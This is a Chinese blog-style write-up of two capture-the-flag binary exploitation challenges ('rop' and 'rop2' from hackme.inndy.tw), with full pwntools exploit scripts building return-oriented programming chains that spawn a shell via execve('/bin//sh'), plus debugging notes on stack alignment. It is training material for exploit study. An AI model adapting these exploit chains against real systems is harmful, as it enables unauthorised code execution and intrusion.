rop和rop2的题目的wp

来源:互联网 发布:ubuntu删除图形界面 编辑:程序博客网 时间:2024/06/06 02:06

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了rop和rop2这两个题目感觉还不错,我把wp分享出来,方便大家学习
首先先是rop这个题目,下载地址就在https://hackme.inndy.tw/scoreboard/,如果做题的网站关闭或者被墙,就可以从http://download.csdn.net/download/niexinming/10022831下载
rop的要求是:

nc hackme.inndy.tw 7704Tips: Buffer Overflow, ROP

把rop直接拖入ida中
main函数:
image
overflow函数:
image
先运行一下程序看一下这个程序干了啥
image
再看看程序开启了哪些保护:
image
看到NX enabled是开启了栈不可执行,这时ROP就有应用空间了
这个程序很简单,就一个gets函数,所以栈溢出就好了
这个程序似乎是用的静态库,所以我用readelf -d rop来查看一下
image
果然是静态库,这时候推荐一个ppt讲的很好https://www.slideshare.net/hackstuff/rop-40525248,遇到这种题目推荐一个工具很不错:https://github.com/JonathanSalwan/ROPgadget/tree/master
首先这个题目只要输入20个a就可以覆盖函数返回值了
这个题目如果用工具的话也很简单,直接用ROPgadget –binary rop –ropchain 就可以生成好rop利用链了,一点都不用操心,真不错
image

然后我都exp就是:

#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *from struct import packcontext(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')def debug(addr = '0x08048892'):    raw_input('debug:')    gdb.attach(io, "b *" + addr)shellcode="/home/flag"#  print disasm(shellcode)elf = ELF('/home/h11p/hackme/rop')#printf_addr = elf.symbols['printf']#print "%x" % printf_addrbss_addr = elf.bss()print "%x" % bss_addroffset = 16#io = process('/home/h11p/hackme/rop')io = remote('hackme.inndy.tw', 7704)#bof=0x080488B7#payload = 'A' * offset###ROPgadget --binary ~/hackme/rop --ropchain###https://www.slideshare.net/hackstuff/rop-40525248    # Padding goes herep = 'A' * offsetp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b8016) # pop eax ; retp += '/bin'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b8016) # pop eax ; retp += '//sh'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de769) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0806c943) # int 0x80#debug()io.sendline(p)io.interactive()io.close()

看一下效果:
image

下面介绍rop2这个题目,这个题目很有趣
rop2下载地址就在https://hackme.inndy.tw/scoreboard/,如果做题的网站关闭或者被墙,就可以从http://download.csdn.net/download/niexinming/10022836下载
rop2的要求是:

nc hackme.inndy.tw 7703ROPgadget not working anymore

把rop直接拖入ida中
main函数:
image
overflow函数:
image
先运行一下程序看一下这个程序干了啥
image
再看看程序开启了哪些保护:
image
看到NX enabled是开启了栈不可执行,这时ROP就有应用空间了
这个程序很有趣,输入和输出都是用的syscall这个函数,关于syscall函数参考:http://blog.chinaunix.net/uid-28458801-id-4630215.html和http://www.cnblogs.com/hazir/p/three_methods_of_syscall.html 这两个文章,syscall的第一个参数是系统调用的宏,后面的参数是系统调用所用的参数,这个宏具体可参考/usr/include/x86_64-linux-gnu/asm/unistd_32.h
image
可以看到输出是3,输出是4,执行系统命令是11,关于execve函数这篇文章讲的很不错http://blog.csdn.net/chichoxian/article/details/53486131,如果想用execve得到一个交互的shell的话,可以这样调用:execve(“/bin//sh”,NULL,NULL);
所以我就有一个想法,这里还是首先感谢M4x的点拨,M4x师傅真是太厉害了,首先,利用溢出后跳到main函数中这个syscall这个函数里面,并且传递参数(3,0,bss,8),意思就是在.bss里面写入payload,也就是/bin//sh,然后再利用overflow的溢出再次跳到main函数中这个syscall这个函数里面,此时传递的参数是(11,bss,null,null),就相当于执行了execve(“/bin//sh”,NULL,NULL); 这个函数一样,这样就可以得到shell了
下面是我的exp:

#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *import timecontext(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')def debug(addr = '0x8048485'):    raw_input('debug:')    gdb.attach(io, "b *" + addr)elf = ELF('/home/h11p/hackme/rop2')bss_addr = elf.bss()print "%x" % bss_addrshellcode='/bin//sh'#shellcode=p32(0x0804847C)elf = ELF('/home/h11p/hackme/rop2')offset = 16io = process('/home/h11p/hackme/rop2')#io = remote('hackme.inndy.tw', 7703)payload = 'a'*4 +'b'*4+'c'*4payload += p32(0x080484FF)payload += p32(0x080484FF)#payload += p32(0x0804B054)payload += p32(0x3)payload += p32(0x0)payload += p32(bss_addr)  #.bsspayload += p32(0x8)payload2 = 'a'*4 +'b'*4+'c'*4payload2 += p32(0x080484FF)payload2 += p32(0x080484FF)#payload += p32(0x0804B054)payload2 += p32(0xb)payload2 += p32(bss_addr)  #.bsspayload2 += p32(0x0)payload2 += p32(0x0)debug()io.recvuntil('Can you solve this?\nGive me your ropchain:')io.sendline(payload)io.readline()io.send(shellcode)io.recvline(timeout=3)io.sendline(payload2)io.interactive()io.close()

我来调试一下,首先把断点放在0x8048485这个地方,也就是overflow结尾的地方
image
这里有个坑,就是溢出后执行到overflow后面的leave;ret;会有堆栈不平衡的现象,明明溢出的地方在输入16个a之后的四个字节的地方,而leave指令相当于(mov ebp esp;pop ebp),而多出的ebp在输入12个a之后的四个字节中,这样的如果你的payloa是”a”*16+syscall_addr,那么程序在执行完overflow这个函数之后gdb就会崩溃
为了演示这个坑,我把exp中的payload改成

payload = 'a'*16#payload += p32(0x080484ff)payload += p32(0x080484FF)#payload += p32(0x0804B054)payload += p32(0x3)payload += p32(0x0)payload += p32(bss_addr)  #.bsspayload += p32(0x8)

image

所以在输入完12个a之后,再输入的四个字节应该是一个可读的地址空间,这个空间我选的是0x080484ff
所以paylaod就是:

payload2 = 'a'*4 +'b'*4+'c'*4payload2 += p32(0x080484FF)payload2 += p32(0x080484FF)#payload += p32(0x0804B054)payload2 += p32(0xb)payload2 += p32(bss_addr)  #.bsspayload2 += p32(0x0)payload2 += p32(0x0)

解决完上面的坑之后继续往下走
溢出后跳入到main函数中的syscall(也就是080484FF)这个位置
image
这里看到传递的参数是(3,0,bss,8),程序向下又执行到了overflow这个函数中
image
此时再发出一个paylaod来溢出这个函数

payload2 = 'a'*4 +'b'*4+'c'*4payload2 += p32(0x080484FF)payload2 += p32(0x080484FF)payload2 += p32(0xb)payload2 += p32(bss_addr)  #.bsspayload2 += p32(0x0)payload2 += p32(0x0)

在gdb中输入c发现又断在了0x8048485这个地址
image
继续输入n向下执行,发现又跳到main函数中的syscall(也就是080484FF)这个位置
image
这里看到传递的参数是(11,bss,0,0),这里相当于执行execve(“/bin//sh”,NULL,NULL); 继续执行就成功了
来看一下效果
image

下面我放上M4x师傅写的exp

#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'M4x'from pwn import *context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])elf = ELF("./rop2")syscall_addr = elf.symbols["syscall"]bss_addr = elf.bss()ppppr_addr = 0x08048578payload = fit({0xC + 0x4: [p32(syscall_addr), p32(ppppr_addr), p32(3), p32(0), p32(bss_addr), p32(8)]})payload += fit({0x0: [p32(syscall_addr), p32(0xdeadbeef), p32(11), p32(bss_addr), p32(0), p32(0)]})io = process("./rop2")io.sendlineafter("your ropchain:", payload)io.send("/bin/sh\0")io.interactive()io.close()

经过调试发现,M4x师傅在溢出后就跳入到.got.plt表的中的syscall的地方,并且传入参数
image
调用完syscall之后,利用rop把传入syscall的参数弹出,使堆栈平衡
image
image
然后再调用syscall,并传入(11,bss,0,0)
image
getshell
image

原创粉丝点击